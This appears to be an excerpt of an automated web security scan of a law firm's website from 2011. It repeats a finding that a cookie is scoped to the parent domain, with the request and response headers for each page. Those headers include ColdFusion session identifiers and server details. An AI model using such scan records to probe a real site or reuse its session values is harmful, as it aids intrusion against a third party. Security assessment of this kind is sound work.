The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /LosAngeles HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:54:45 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A54%3A45%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2193%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:54:45 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Minneapolis HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:54:54 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A54%3A54%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2239%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:54:54 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Munich HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:55:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A55%3A14%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2338%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:55:14 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /Riyadh HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:56:29 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A56%3A29%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2679%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:56:29 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /SanAntonio HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:56:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A56%3A53%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2763%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:56:53 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /StLouis HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:57:04 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A57%3A04%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2807%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:57:04 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /aboutus HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A48%3A57%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D190%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:48:57 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /alumni HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:23 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A23%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D435%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:23 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /aop HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:50:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A50%3A28%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D934%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:50:28 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /careers HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 302 Moved Temporarily Connection: close Date: Wed, 19 Jan 2011 15:49:07 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A07%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D268%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:07 GMT;path=/ location: http://www.joinfulbright.com Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dc/x22 HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:35 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A48%3A35%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D5%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:48:35 GMT;path=/ Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /downloads HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:49:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A49%3A58%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D752%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:49:58 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /dubai HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:54:04 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A54%3A04%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2016%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:54:04 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /favicon.ico HTTP/1.1 Host: www.fulbright.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CFID=24113095; CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A48%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D3%23cftoken%3D35971701%23cfid%3D24113095%23
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:08:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:08:56 GMT;path=/ Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /houston HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:54:25 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A54%3A25%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D2094%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.16.1.67;expires=Fri, 11-Jan-2041 15:54:25 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /industries HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:50:42 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A50%3A42%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D995%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:50:42 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /insite HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:48:52 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A48%3A52%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D157%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:48:52 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /international HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:52:43 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A52%3A43%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1606%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:52:43 GMT;path=/ Content-Type: text/html; charset=UTF-8
<html> <head> <title>
The International Law Firm of Fulbright & Jaworski
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jblount HTTP/1.1 Host: www.fulbright.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: CFTOKEN=35971701; __utmz=148438816.1295449737.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); CFID=24113095; __utma=148438816.1344999914.1295449737.1295449737.1295449737.1; __utmc=148438816; __utmb=148438816.1.10.1295449737; CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A56%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D4%23cftoken%3D35971701%23cfid%3D24113095%23;
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 19 Jan 2011 15:52:19 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: CFGLOBALS=urltoken%3DCFID%23%3D24113095%26CFTOKEN%23%3D35971701%23lastvisit%3D%7Bts%20%272011%2D01%2D19%2009%3A52%3A19%27%7D%23timecreated%3D%7Bts%20%272011%2D01%2D19%2009%3A08%3A46%27%7D%23hitcount%3D1481%23cftoken%3D35971701%23cfid%3D24113095%23;domain=.fulbright.com;expires=Fri, 11-Jan-2041 15:52:19 GMT;path=/ Content-Type: text/html; charset=UTF-8
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
